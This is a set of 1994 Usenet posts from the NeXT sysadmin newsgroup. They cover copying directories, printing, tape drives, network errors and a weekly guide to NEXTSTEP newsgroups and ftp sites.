References: <2p9jh9$d2e@cheltenham.cs.arizona.edu>
Date: Sat, 23 Apr 1994 23:41:22 GMT
In article <2p9jh9$d2e@cheltenham.cs.arizona.edu> kline@CS.Arizona.EDU (Nick
Kline) writes:
* I was browsing through comp.fonts today and say that
* bitstream is selling a cdrom with 500 fonts for $50 at
* Egghead (it was $30 here in tucson). Apparently, according
* to various people in comp.fonts its not the typical 499
* junk fonts and 1 good one but actually interesting fonts.
* The fonts are in two formats: ps type 1 and also tt format.
* They are in "windows" format and must be converted somehow.
* I suppose it will be possible to convert them for use on
* the next.
We [Trilithon Software] offer a NEXTSTEP utility to convert PostScript
Type 1 fonts from DOW/Windows PFB format to NEXTSTEP format, plus installing
the fonts for you. The program is called PfbToPfa:
o Drag and drop interface -- drag PC fonts onto
the application and they are converted and installed for you.
o converts PC storage format to NeXT PFA format.
o converts and sanitises AFM file (is there is one).
o converts PFM (if there is one) to AFM.
o generates AFM file (if neither AFM nor PFM exist).
o installs the font for you.
o Available now for Black Hardware Intel Hardware
Write To: Trilithon Software,
3000 Alpine Road,
Portola Valley,
California 94028.
Telephone: (415) 851-7901
FAX: (415) 851-7902
E-mail: info@trilithon.com
........ Henry
Newsgroups: comp.sys.next.sysadmin
From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: using cp
Keywords: cp
References: <2p1g8u$dak@infoserv.zdv.uni-tuebingen.de>
Organization: German NeXT User Group, Oldenburg.
Date: Sun, 24 Apr 1994 09:31:59 GMT
Message-ID: <1994Apr24.093159.435@proximus.north.de>
In article <2p1g8u$dak@infoserv.zdv.uni-tuebingen.de>,
Stephan Kruppa <kruppa@pcl12.wiwisem.wirtschaftswissenschaft.uni-tuebingen.de> wrote:
>I have to copy a whole directory with several subdirectories to another
>disk. I tried "cp" with the -pr switches, because within the directory
There are more than one way to do this, but the ordinary cp is a bad
one. Better is:
find <insert here your favourite files to copy> | cpio -padmuv <targetdir>
example:
cd /sourcedir
find . -depth -print | cpio -padmuv /destdir
Also you can get GNUs cp, which has a -a flag that does EXACTLY what you
want.
Gerhard.
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From: csmith@mason1.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: AppleTalk printing under 3.2
Date: 23 Apr 1994 14:47:51 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2pbcen$e8a@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sheesh, I wonder why I keep forgeting this. I am setting up a 3.2 NeXT
cube to use an Apple Laserwritter IIg over EtherTalk. I have installed
the AppleTalk from my 3.0 disk and copied the PrintManager over from
that disk as well. Now, I know there is ONE more file I need, but for
the life of me, I can not remember what it is. Could somebody mail me
with that info?
Thanks
Chris
From: trance9@clark.net (Trance 9)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Help! I can't get outgoing News!
Date: 24 Apr 1994 18:17:47 -0400
Organization: Clark Internet Services, Inc., Ellicott City, MD USA
Message-ID: <2per6b$mv0@explorer.clark.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Hi All,
I've recently gone back to UUCP from slip, and after renistalling CNEWS,
I'm unable to get outgoing news. Incoming news works just fine, but my
new newsgrazer posts get put in /usr/spool/news/in.coming instead of
out.going. Then, onece newsrun happens, they get put in
/usr/spool/news/in.coming/bad. They get put in my local folders and I
can read them, but the world at large never gets to see them (I know,
maybe thats a good thing----> :-) ) Anyway, if anyonce has any
suggestions please drop me an e-note at jmeacham@ants.ci.net (not this
address, which my brothr has been kind enough to let me use until I get
this straigtened out. Thanks in advance.
Peace,
_____________________________________________________________________
James David Meacham, 3rd
M.Div. Candidate
Andover Newton Theological School e-mail:jmeacham@ants.ci.net
7 Flint Road Phone: 617-926-6024
Watertown, MA 02172 NeXTMAIL accepted
Intern Minister 64-66 Marlborough Street
First and Second Church in Boston Boston, MA 02116
(Unitarian Universalist) 617-267-6730
_____________________________________________________________________
From: russell@math.mtu.edu (Russell Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: dwrite for Frame to limit window depth on color NeXT?
Date: 24 Apr 1994 23:42:57 GMT
Organization: Michigan Technological University
Message-ID: <2pf061$clf@mtu.edu>
Keywords: frame, dwrite
FrameMaker has the slows on my color (non-turbo) NeXTstation. I've been
told that there's a problem with Frame promoting windows to color,
correctable with something resembling
dwrite FrameMaker LimitWindowDepth
More to the point, I was told that folks in this newsgroup would know how
to do it, or where to find the exact scoop. Help?
Russell Reid
russell@math.mtu.edu
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: dwrite for Frame to limit window depth on color NeXT?
Date: 25 Apr 1994 02:07:21 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2pf8kp$rhh@agate.berkeley.edu>
References: <2pf061$clf@mtu.edu>
In article <2pf061$clf@mtu.edu> russell@math.mtu.edu (Russell Reid) writes:
>FrameMaker has the slows on my color (non-turbo) NeXTstation. I've been
>told that there's a problem with Frame promoting windows to color,
>correctable with something resembling
>dwrite FrameMaker LimitWindowDepth
No, don't limit window depth for FrameMaker.
The problem is actually the opposite. On color machines,
FrameMaker is slow because window depth does not promote until
you use non-gray color once. Somehow, there's a tremendous
overhead for FrameMaker when windows remain at TwoBitGray and
the VRAM is 12-Bit deep.
Solution is to actively promote the window depth to the
actual depth of VRAM, so that they are matched.
To do this, use a color once (e.g., put a RED '.' in tiny font
size on the first page of the document). Once the color is
displayed and window depth promoted, FrameMaker speeds up!
I don't know of any dwrite which circumvents lazy window promotion
so FrameMaker windows are opened in RGB depth even if no color is
used.
--
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT & MIME mails welcome)
From: alfred@ca-risc.co.at
Newsgroups: comp.sys.next.sysadmin
Subject: HELP!! Installing NS on "older" 040-Cube
Date: 25 Apr 1994 06:54:42 GMT
Organization: EUnet EDV-Dienstleistungsgesellschaft m.b.H
Message-ID: <2pfpfi$mjj@hp4at.eunet.co.at>
Keywords: 040-Cube, Fujitsu 600
I am stuck with - I guess - a hardware problem and nobody here in the alps
seems able to help me.
I just got one of these nice cubes (040) with an old Fujitsu M2263S-512 disk in
it, that was - at least over here - the standard configuration about two years
ago. I had a station before with a DEC giga disk (RZ26 1.05GB) in it, went
totally smooth. A hardware guy here rearranged the cube, putting in the DEC as
sd0a and then sh.. started to happen. It would loose files, corrupt the netInfo
and so on. So, we rearranged again setting the Fujitsu as sd0a. No good. Would
not work either. So we disconnected the DEC. Still the same. I cannot even
install NS 3.2 from scratch now. It gives me messages like:
../usr/bin/uul g: can t find in source FS, skipping...
../usr/lib/netinfo/English...: can t find in source FS, skipping...
..Installation failed. No space on disk: Try again.
and so on. It does it with every NS CD.
Someone suggested I have an electrical problem. Well, maybe.
I am going to exchange all wiring now, just to be sure.
Does anyone have a clue what it could be? Does anyone remember how the jumpers
on the Fujitsu have to be set, for a single disk installation and for a second
disk to follow?
Alfred
PS: It is really hard work being a NeXT addict!
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================================
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Risk Manager that you can win the game. Communism
Creditanstalt-Bankverein is based on the assumption that you can
alfred@ca-risc.co.at (NeXT) break even. Mysticism is based on the
Tel/43/1/531311967 Fax/5337341 assumption that you can leave the game."
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: Can't Telnet (but can rlogin)
Date: 25 Apr 1994 09:19:06 GMT
Organization: I speak for myself
Distribution: world
Message-ID: <S.A.MCINTYRE.94Apr25101907@shrug.dur.ac.uk>
For some reason I've lost the ability to telnet to my NeXTstation, but
I can rlogin. I'm not entirely sure what was changed in the last few
weeks which would cause this; nothing that I can think of at least. It
was working until about the middle of last week, and I've not been online
during the time around it's failure, sooooo, any ideas what to check?
Scott
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From: shanega@athena.mit.edu (Shane G. Artis)
Newsgroups: comp.sys.next.sysadmin
Subject: Cannot get printer working after upgrade
Date: 25 Apr 1994 13:02:02 GMT
Organization: Massachusetts Institute of Technology
Sender: shanega@athena.mit.edu
Message-ID: <2pgf0a$t7k@senator-bedfellow.MIT.EDU>
Keywords: Printer, upgrade
We recently upgraded one of our black machines from NS2.1 to 3.0.
Following the upgrade our NeXT 400 DPI printer will not work anymore.
We try 'lpr' and the print panel, but get errors on the console like:
'Driver: no driver set in printer entry'. This makes me think that we
have a problem with our NetInfo printer entry which makes some sense,
since we essentially copied our old NetInfo database in 2.1 form to
the 3.0 upgraded machine.
In an effort to fix this I started a new NetInfo database, hoping it
would give me the correct printer defaults, but that did not work.
'npd' does make the printer 'power up', so I'm confident the physical
connections are working, and I know the printer works. Can anyone
puzzle this one out? Copies of working NetInfo databases or other
such hardcopy would be most helpful as well.
Thanks in advance,
Shane
shanega@athena.mit.edu
Newsgroups: comp.sys.next.sysadmin
From: janna@reliant.bsd.uchicago.edu (& Ore Nugent)
Subject: ISDN on a NeXTstation
Message-ID: <1994Apr25.154914.12361@midway.uchicago.edu>
Keywords: ISDN, NeXT
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Mon, 25 Apr 1994 15:49:14 GMT
I need to put a NeXTstation onto an ISDN network. Has anyone done this?
Does anyone know if the hardware required to put a NeXTstation on an ISDN
network is still available?
Eeg,
Janna
Janna Ore Nugent "Tiger gotta hunt. Bird gotta fly.
Biological Sciences Division Man gotta sit and wonder why, why, why.
The University of Chicago Tiger gotta sleep. Bird gotta land.
Man gotta tell himself he understand."
- Kurt Vonnegut Jr.
Newsgroups: comp.sys.next.sysadmin
From: ae827@FreeNet.Carleton.CA (Mike Daly)
Subject: SEAGATE 3655N Disk Configuration?
Message-ID: <CotnB8.6tJ@freenet.carleton.ca>
Sender: news@freenet.carleton.ca
Organization: The National Capital FreeNet, Ottawa, Ontario, Canada
Date: Mon, 25 Apr 1994 15:35:32 GMT
Hi. I am trying to install a Seagate 3655N hardrive internally
in my nextstation. On bootup I get bad version number and bad
label errors which halt the boot process and stops me from
booting off my CD.
Any ideas would be appreciated.
Mike Daly
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From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994Apr25.123147.17524@umiami.ir.miami.edu>
Message-ID: <1994Apr25.123333.17526@umiami.ir.miami.edu>
Date: 25 Apr 94 12:33:33 EDT
Control: cancel <1994Apr25.123147.17524@umiami.ir.miami.edu>
cancel <1994Apr25.123147.17524@umiami.ir.miami.edu>
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Univ. Network Problems
Message-ID: <1994Apr25.123445.17527@umiami.ir.miami.edu>
Date: 25 Apr 94 12:34:45 EDT
Organization: Univ of Miami IR
I was going just great with our network of a Intel GX
server, 12 Intel clients (all running 3.2), and 3
old slabs/cubes running 2.1 or 3.0.
Last week I hooked up to ethernet and everything works
fine generally - with the following exception -
All machines including the server always boot up with
Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
address: aa:00:04:00:e9:0c
Our computer center wants to know what the duplicate IP address is -
How can I determine that?
Sometimes (like Monday mornings) - rebooting of clients (not the server)
gives some RPC timeouts. Later in the day, I don't see these. -
Apr 25 09:36:18 orchid8 mach: Registering: Display0
Apr 25 09:36:18 orchid8 mach: Registering: Beep
Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
address: aa:00:04:00:e9:0c
Apr 25 09:36:35 orchid8 reboot: Reboot complete
Apr 25 09:36:53 orchid8 loginwindow[184]: loginwindow: Checking for DOS
partitioned disk
Apr 25 09:55:11 orchid8 autonfsmount: darwin:/ server not responding: RPC:
Timed out
Apr 25 09:56:36 orchid8 loginwindow[200]: loginwindow: running
/usr/lib/NextStep/Workspace.app/Workspace
Apr 25 09:57:25 orchid8 Workspace[200]: logged in
Apr 25 09:59:25 orchid8 mach: NFS server darwin not responding still trying
Apr 25 09:59:25 orchid8 mach: NFS server darwin ok
Apr 25 10:00:33 orchid8 mach: NFS server darwin not responding still trying
Apr 25 10:00:34 orchid8 mach: NFS server darwin ok
Apr 25 10:02:44 orchid8 syslog: make_services: someone else is already making
services.
Apr 25 10:23:27 orchid8 loginwindow[184]: loginwindow: Workspace exited ts 0 cd
0 rc 0 sv 0 ss 0.
Any ideas?
Tom Herbert
University of Miami
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994Apr25.123321.17525@umiami.ir.miami.edu>
Message-ID: <1994Apr25.123455.17528@umiami.ir.miami.edu>
Date: 25 Apr 94 12:34:55 EDT
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From: jirapa@nextover.pe.utexas.edu
Newsgroups: comp.sys.next.sysadmin
Subject: question for a SMART NeXT Sys Admin
Date: 25 Apr 1994 16:59:35 GMT
Organization: The University of Texas at Austin, Austin, Texas
Distribution: usa
Message-ID: <2pgstn$h92@geraldo.cc.utexas.edu>
Hi,
I have been trying to get SLIP working from SLIP commmander (Demo right now),
but I have not been able to figure out the setting for the SLIP yet. I have an
030 running 3.2 with hand made serial cable from the wiring diagram from the
unix man for next. With Intel modem 14.4.
Thanks
Jirapa
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 25 Apr 1994 14:02:38 -0400
Organization: Next Announcements
Message-ID: <2ph0ju$e0j@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
NEXTSTEP World Wide Web Product Information Server online
NEXTSTEP Product Information Mail Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
Much of this information is also available using the World Wide Web,
<http://digifix.digifix.com/index.html>
NEXTSTEP World Wide Web Product Information Server online
---------------------------------------------------------
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
NEXTSTEP Product Information Mail Server online
---------------------------------------------------------
The NEXTSTEP Product Information Mail Server is now available
for product literature and pricing from NEXTSTEP developers.
You can get information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
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Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
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Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
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cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: brunkhorst@mayo.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Univ. Network Problems
Date: 25 Apr 1994 18:49:45 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2ph3c9$dgu@fermat.mayo.edu>
References: <1994Apr25.123445.17527@umiami.ir.miami.edu>
In article <1994Apr25.123445.17527@umiami.ir.miami.edu>
therbert@umiami.ir.miami.edu writes:
> I was going just great with our network of a Intel GX
> server, 12 Intel clients (all running 3.2), and 3
> old slabs/cubes running 2.1 or 3.0.
>
> Last week I hooked up to ethernet and everything works
> fine generally - with the following exception -
>
> All machines including the server always boot up with
>
> Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
> address: aa:00:04:00:e9:0c
That's a DECnet ethernet address, btw.
The location of the message in the startup log indicates this is happening
during driver initialization. It is my working experience that NeXT has
the interface listen to the wire for a little bit, to determine what the
netmask and broadcast masks should be for mach messaging. It could be
that it's hearing a VAX on your net that is using an IP address that is
being also offered by another box. I know that Multinet allows for that
to happen for nfs stuff (2 VAXen in a cluster offering the same nfs service
using the same IP address). It could be that.
obtw, DECnet ethernet addresses can change on you, if the host changes
DECnet numbers. This is how DECnet can avoid ARPing.
> Our computer center wants to know what the duplicate IP address is -
> How can I determine that?
Tell them to find DECnet host 3.233 and ask them what it's IP address is;-)
If you have root, you can also try:
Or the straightforward way is getting a sniffer package and capture all
packets from that ethernet address.
> Sometimes (like Monday mornings) - rebooting of clients (not the server)
> gives some RPC timeouts. Later in the day, I don't see these. -
>
Could be unrelated, but per chance are you using auto-assignmetn of IP
numbers on your NeXTs? Did you make sure all the addresses in your
assignment range were available to you?
Likely, Monday morning is a busy net time, as people beat up on the net
as they catch up from the weekend.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: caro@adobe.com (Perry A. Caro)
Subject: HELP: dump params for Viper 525 (QIC)?
Message-ID: <1994Apr25.204726.25871@adobe.com>
Sender: caro@mv.us.adobe.com
Organization: Adobe Systems Incorporated
Date: Mon, 25 Apr 1994 20:47:26 GMT
What do I tell dump so that it uses all of a DC6525 QIC tape? I have no
idea what the tape length in feet is, or the density. I think I can
find the length in meters, I remember seeing it somewhere, but what
units is the density in?
Actually, if you have the parameters for a DC6150 QIC tape, I can
probably extrapolate for the 525 meg version.
If only SafetyNet 2.X supported QIC tape ... sigh.
Perry
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Newsgroups: comp.sys.next.sysadmin
From: dfloyd@runner (Douglas R. Floyd)
Subject: Resetting the hardware PROM on a Next
Message-ID: <1994Apr25.235558.25200@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: The Unversity of Texas at San Antonio
Date: Mon, 25 Apr 1994 23:55:58 GMT
I have looked everywhere for this information, but have not found it.
On the NextStation cube (the one with the ADB mouse), how does one
disable the PROM (hardware) password? Do I remove the battery?
Thanks in advance,
(dfloyd@runner.jpl.utsa.edu)
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: UUCP and high speed connections: HELP!
Message-ID: <CouC56.2xv@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Apr22.160117.3846@nidat.sub.org>
Date: Tue, 26 Apr 1994 00:31:52 GMT
In article <1994Apr22.160117.3846@nidat.sub.org> Nitezki@NiDat.sub.org
(Peter Nitezki) writes:
> On a black machine you should take everything you get. Set 38.4k and
> grumble that 56k isn't supported ;-)
57600 may be not supported, but it is working (Black Mono Slab, 25 Mhz,
NS 3.2). Check out /NextDeveloper/Headers/bsd/sys/ttydev.h
--
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kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Wangtek 5525ES Tapes
Message-ID: <CouCBI.2yq@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <Vaw5kc1w165w@mindvox.phantom.com>
Date: Tue, 26 Apr 1994 00:35:41 GMT
In article <Vaw5kc1w165w@mindvox.phantom.com> redmond@mindvox.phantom.com
(David Redmond) writes:
> I am having some trouble trying to access a Wangtek 5525es drive.
[...]
> I have installed the fixed block mode patch for tape drives and have no
> trouble accessing the drive to do dumps, like so:
>
> dump 0Of 525 /dev/nrst0 /
>
> But when I try to place a tar file on the tape, I am met with errors.
> Doing the following, gives these results:
>
> tar cf /dev/nrst0 TarFile : tar: tape write error: I/O error
> tar cf - TarFile | dd of=/dev/nrst0 : write: I/O error
> tar cf - TarFile | cat > /dev/nrst0 : cat: write error: I/O error
>
>
> Again, the device IS set to fixed-block.
I haven't had the problems you describe with tar, but I would suggest
to use blocksize = 1024 on 525-Tapes. Maybe it is necessary that you
rewind the tape before trying to write on it the first time.
Mine says:
Apr 22 21:55:14 belly mach: WANGTEK 5525ES SCSI REV7 Rev as st0 at sc0
target 3 lun 0
--
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Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Wangtek 5525ES Tapes
Message-ID: <CouCpn.302@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <6squtASHBh107h@jogi.ruhr.de>
Date: Tue, 26 Apr 1994 00:44:10 GMT
In article <6squtASHBh107h@jogi.ruhr.de> joerg@jogi.ruhr.de (Joerg
Beckmann) writes:
> In <Vaw5kc1w165w@mindvox.phantom.com> redmond@mindvox.phantom.com (David
Redmond) writes:
> >Greetings,
>
> >I am having some trouble trying to access a Wangtek 5525es drive. It
> >comes up on boot as:
>
> >Apr 21 06:39:45 entropy mach: st: major number 9
> >Apr 21 06:39:45 entropy mach: st0: WANGTEK 5525ES SCSI REV7 3R
>
> >I have installed the fixed block mode patch for tape drives and have no
> >trouble accessing the drive to do dumps, like so:
To be precise: It's not a patch - it's a small program to change the
configuration of the driver to use fixed block length. Basically it's
an ioctl:
Compile this program in two versions. You will need blocksize =
512 for 150 MB Tapes and blocksize = 1024 for 525 MB Tapes (I never
tried 250 MB). Run the program _before_ inserting the tape.
/*
* The following code configures the SCSI tape driver for /dev/rst0
* to support fixed-sized data transfers of 512 bytes each.
*/
#include <sys/types.h>
#include <sys/file.h>
#include <nextdev/scsireg.h>
main()
{
int fd, error;
int blocksize = 512;
fd = open("/dev/rst0", O_RDWR, 777);
if (ioctl(fd, MTIOCFIXBLK, &blocksize))
{
perror("ioctl failed\n");
return 1;
}
close (fd);
return 0;
}
--
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kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
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From: mike@starburst.umd.edu (Michael F. Santangelo)
Newsgroups: comp.sys.next.sysadmin
Subject: ?Disk Quotas
Date: 26 Apr 1994 04:25:52 GMT
Organization: Chesapeake Biological Laboratory
Message-ID: <2pi54g$5ht@gamera.umd.edu>
Keywords: disk quotas
Very simply, is there ANY way to enable disk quotas in NeXTstep 3.2? Is
the support in the kernel or has it been omitted? If the latter, any rumors
as to when it might be included?
Thanks.
--
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Dept. Head-Computer & Network Systems + + .. softly as an owl falling into
UMCEES / CBL (Solomons Island) + + . . a bin of lettuce...no...-B Kliban
From: hans@symbas.UUCP (Hans Aafloy)
Newsgroups: comp.sys.next.sysadmin
Subject: Need doc. of RTF file format
Message-ID: <3861@symbas.UUCP>
Date: 25 Apr 94 08:00:21 GMT
Distribution: world
Organization: LindMac A/S, Trondheim, Norway
I want to write a parser for text files in RTF format, used in e.g.
NS.
Hence I need thorough documentation on RTF, but I don't know who's
made it, or where I can get hold of such doc.
So, does any of you out there idea or pointer ??
Thanx in advance,
hans
=========================================================================
Hans Aafloy hans@symbas.lind.no
LindMac A/S Phone: +4773 96 73 11
7038 Trondheim, NORWAY Fax: . . . . 54 79
=========================================================================
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: LaserJet 4 on Ethernet
Date: 26 Apr 1994 07:34:38 GMT
Organization: University of Michigan ITD/User Services
Message-ID: <2pig6e$9pr@lastactionhero.rs.itd.umich.edu>
References: <2p0i9l$1os@email.tuwien.ac.at>
K. Neuwirth <neuwirth@ophelia.tuwien.ac.at> wrote:
>I have the following problem: I want to connect my HP LaserJet 4
>(with a PostScript module, but that is not entirely necessary for
>the description of this problem) to my NeXT (running 3.2) via
>Ethernet---I'm using the original HP JetDirect card in the printer.
> I have not yet gotten the UNIX Software that is supposed to come
>with the card, but I tried to find out as much as I can about the
>TCP/IP implementation it uses.
the software is avilable on ftp-boi.external.hp.com, but, natch, only
SunOS and HP/UX are supported. It's part shell scripts, but part
executable, and no source. Grab it, though, since it will probably
help some (just the man pages should help)
> I have since been able to track down the
>propblem to the follwing: my NetInfo does not use the PR and PM fields
>of the printcap entries in /printers (as the netinfo man page clains),
I can't figure out what these fields are supposed to do; they're not
in my sun printcap(5) man page.
